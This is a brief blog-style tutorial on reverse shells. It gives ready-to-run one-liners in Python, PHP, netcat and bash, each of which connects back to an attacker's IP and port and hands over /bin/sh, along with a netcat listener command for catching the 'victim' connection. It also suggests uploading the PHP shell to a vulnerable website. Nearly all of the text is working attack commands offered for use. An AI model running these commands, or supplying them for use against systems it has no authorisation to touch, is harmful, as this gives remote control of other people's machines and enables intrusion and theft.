BASIC INFO
A reverse shell is a way to control with another machine that can be in your LAN or not. there are different kinda reverse shells that we use.
Like python reverse shell, bash reverse shell, php shell, and xterm shell, etc.
if we run a reverse shell on a machine to get control over it, we would need a listener on our computer so that we can listen to a connection with it. in this tutorial, we will use netcat as a listener. we will talk about listener at the end of all of these reverse shell.
PYTHON REVERSE SHELL
python has a socket module whereby we can make our own reverse shell. you have to decide if you want to make a python file with reverse shell or run it as a command
if you run it as the command, you will have to type “python -c” before all the script.
script is:
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.0.0.1",1234)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
PHP REVERSE SHELL
it is also a reverse shell of programming language. we can upload it into a PHP based website if it’s vulnerable to it.
as I mentioned before about script and command. you can download php reverse shell file from here.
php -r '$sock=fsockopen("<your-ip>",<port-no.>);exec("/bin/sh -i <&3 >&3 2>&3");'
NETCAT REVERSE SHELL
it is helpful sometimes because netcat doesn’t come in many distributions. but netcat is a powerful tool in itself. we will talk about it later. By running the command you can get a reverse shell.
nc -e /bin/sh <your-ip> <port-no.>
BASH REVERSE SHELL
it is very useful because you can run bash command in any Linux distribution. but it is hard to remember sometimes. you can run the command to start a reverse shell that is given below.
bash -i >& /dev/tcp/<your-ip>/<port-no.> 0>&1
 LISTENER
we have talked about the reverse shells. now we need to listen to the connection that is being sent by the reverse shell.
I am using Kali Linux. it has netcat pre-installed.
we will get the connection from the victim to our IP(which you have written in reverse shell).
listener command-
nc -lvp <port-no.>
it will automatically detect your interface IP on which the data packets are being sent.
thank you for visiting